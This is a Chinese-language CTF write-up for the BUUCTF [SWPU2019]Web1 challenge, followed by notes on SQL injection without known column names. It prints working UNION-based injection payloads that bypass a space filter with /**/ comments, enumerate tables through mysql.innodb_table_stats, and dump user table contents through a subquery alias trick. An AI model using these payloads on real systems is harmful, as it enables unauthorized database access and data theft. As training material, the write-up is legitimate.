4.buuctf [SWPU2019]Web1及知识点

进入题目页面如下

猜测是二次注入

先注册一个账号

再登录，页面如下

点击申请发布广告

页面如上，存在注入点，尝试

判读是整数型注入还是字符型注入

猜解字段数，尝试发现or,#,空格等被过滤了，只能一个一个试

使用联合查询试试

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

居然有22个

测试后注入点在2处

爆出数据库名

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

数据库名为web1

爆出表名

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

表名是abs和users

爆出字段内容

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

终于得到了flag

无字段名注入

基本概念

在常规的 SQL 注入中，通常需要明确知道数据库表的字段名，然后通过构造恶意输入来干扰 SQL 语句的正常执行。而无字段名注入则是在不知道具体字段名的情况下，仍然能够实施注入攻击，获取数据库中的信息

产生原因

动态 SQL 语句构建：当开发人员在编写代码时，采用动态拼接 SQL 语句的方式，且对用户输入的验证和过滤不严格，就可能为无字段名注入提供机会。

通用查询接口：一些应用程序提供了通用的查询接口，允许用户输入条件进行数据查询，但没有对输入进行有效的限制，可以利用这个接口进行无字段名注入。

攻击原理

无字段名注入主要利用 SQL 语句的一些特性，如 ORDER BY 子句、GROUP BY 子句、LIMIT 子句等，结合盲注技术来逐步获取数据库信息。以下是几种常见的无字段名注入方法：

利用 ORDER BY 子句确定字段数量

SELECT * FROM users WHERE id = 1 ORDER BY 1 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 2 -- 正常返回
SELECT * FROM users WHERE id = 1 ORDER BY 3 -- 报错

通过不断尝试不同的数字作为 ORDER BY 子句的参数，当返回报错时，说明表中的字段数量小于该数字，从而确定表中的字段数量。

利用 GROUP BY 子句和聚合函数获取数据

在确定了字段数量后，可以利用 GROUP BY 子句和聚合函数（如 COUNT、SUM 等）来获取数据。例

SELECT COUNT(*), GROUP_CONCAT(column1, column2) FROM users GROUP BY id;

可以通过不断尝试不同的组合，结合盲注技术，逐步获取字段中的数据。

利用 LIMIT 子句逐行获取数据

在获取了表的字段数量后，可以使用 LIMIT 子句逐行获取数据。

SELECT * FROM users LIMIT 0, 1; -- 获取第一行数据
SELECT * FROM users LIMIT 1, 1; -- 获取第二行数据